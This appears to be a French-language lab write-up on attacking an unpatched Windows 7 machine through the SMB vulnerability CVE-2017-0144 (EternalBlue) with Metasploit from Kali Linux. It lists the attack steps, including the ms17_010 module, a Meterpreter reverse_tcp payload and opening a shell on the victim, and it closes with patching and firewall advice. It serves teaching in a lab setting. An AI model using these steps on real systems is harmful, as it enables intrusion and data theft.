LAB: TẤN CÔNG HỆ ĐIỀU HÀNH WINDOWS DỰA VÀO LỖ HỔNG GIAO THỨC SMB.
I. DESCRIPTION
Dans ce laboratoire, nous utiliserons deux ordinateurs pour simuler une attaque basée sur une vulnérabilité du protocole SMB du système d'exploitation Windows. Une machine exécute Kali Linux, jouant le rôle de l'attaquant (hacker). Et un ordinateur joue le rôle de la machine victime (victim). La machine victime exécute Windows 7 64 bits contenant la vulnérabilité SMB. Pour ce faire, sur la machine Kali Linux, nous utiliserons l'exploit nommé EternalBlue pour attaquer la machine Windows 7.
II. INTRODUCTION GÉNÉRALE
Server Message Block (SMB) est un protocole de partage de fichiers assez courant sur la plateforme Windows de Microsoft. Grâce à ce protocole SMB, les ordinateurs Windows connectés entre eux sur le même réseau ou dans le même domaine peuvent partager des fichiers. À ce jour, SMB est également connu sous le nom de Common Internet File Sharing (CIFS).
EternalBlue est un code d'exploitation basé sur la vulnérabilité du protocole SMB via le port 445. Initialement, EternalBlue a été développé par la National Security Agency des États-Unis (NSA). Mais ensuite, il a été divulgué par le groupe de hackers The Shadow Brokers en 2017. La même année, une attaque massive de virus de rançongiciel (Ransomware) visant les ordinateurs Windows de Microsoft a eu lieu dans le monde entier. Le plus célèbre étant le virus WannaCry. À ce jour, bien que cette vulnérabilité ait été corrigée par Microsoft via le correctif de sécurité MS17-010, un grand nombre d'ordinateurs exécutant Windows dans le monde présentent encore cette vulnérabilité. Cette vulnérabilité a été publiée sous CVE-2017-0144 (Windows SMB Remote Code Execution Vulnerability). Cette vulnérabilité est extrêmement dangereuse et très facile à exploiter. Le point important est que pour attaquer via cette vulnérabilité du protocole SMB, le hacker n'a pas besoin d'envoyer ou de piéger la victime pour qu'elle télécharge ou exécute un quelconque virus malveillant. Autrement dit, même si la victime ne fait rien, elle peut être facilement attaquée par le hacker pour prendre le contrôle de son ordinateur sans même s'en rendre compte.
III. PRÉPARATION
Préparez 02 machines virtuelles fonctionnant sous VMware Workstation. La machine virtuelle Kali Linux (machine hacker) a l'adresse IP : 192.168.198.140 et la machine virtuelle Windows 7 (machine victime) a l'adresse IP : 192.168.198.143
Sur la machine virtuelle Kali (attaquant):
-Vérifier l'IP : ifconfig
-Démarrer le service PostgreSQL : # service postgresql start
-Vérifier si postgresql est en cours d'exécution avec la commande : # service postgresql status
Sur la machine virtuelle Windows 7 (victime):
Vérifier l'IP : ipconfig
Désactiver le pare-feu (Firewall).
IV. EXÉCUTION DE L'ATTAQUE.
Sur la machine Kali : Connectez-vous à Metasploit avec la commande : # msfconsole
Une fois dans Metasploit, recherchez les erreurs ainsi que les syntaxes liées à ms17_010 avec la commande : # search ms17_010
Ajouter l'adresse IP de la machine victime,machine attaquante
Configurer le payload pour l'exploitation :
use 0 -> set payload windows/x64/meterpreter/reverse_tcp:
Exécuter l'exploit pour procéder à l'exploitation
-Ouvrir un shell sur la machine victime (effectué via le terminal de la machine attaquante) après avoir réussi à s'introduire :
=> À ce stade, le hacker a réussi à pénétrer dans la machine victime. À ce moment-là, le hacker peut supprimer ou voler des fichiers de la machine victime sans qu'elle ne s'en rende compte. Il peut même uploader et exécuter directement un virus sur celle-ci.
V. MESURES DE PRÉVENTION.
– Pour éviter d'être exploité via le protocole SMB, nous devons effectuer les actions suivantes :
Activer le pare-feu (Firewall).
Mettre à jour Windows vers la dernière version. Ou télécharger et installer les correctifs de sécurité de Microsoft, en particulier le correctif ms17_010.
ducanh2oo3/vulnerability-research-cve-2017-0144
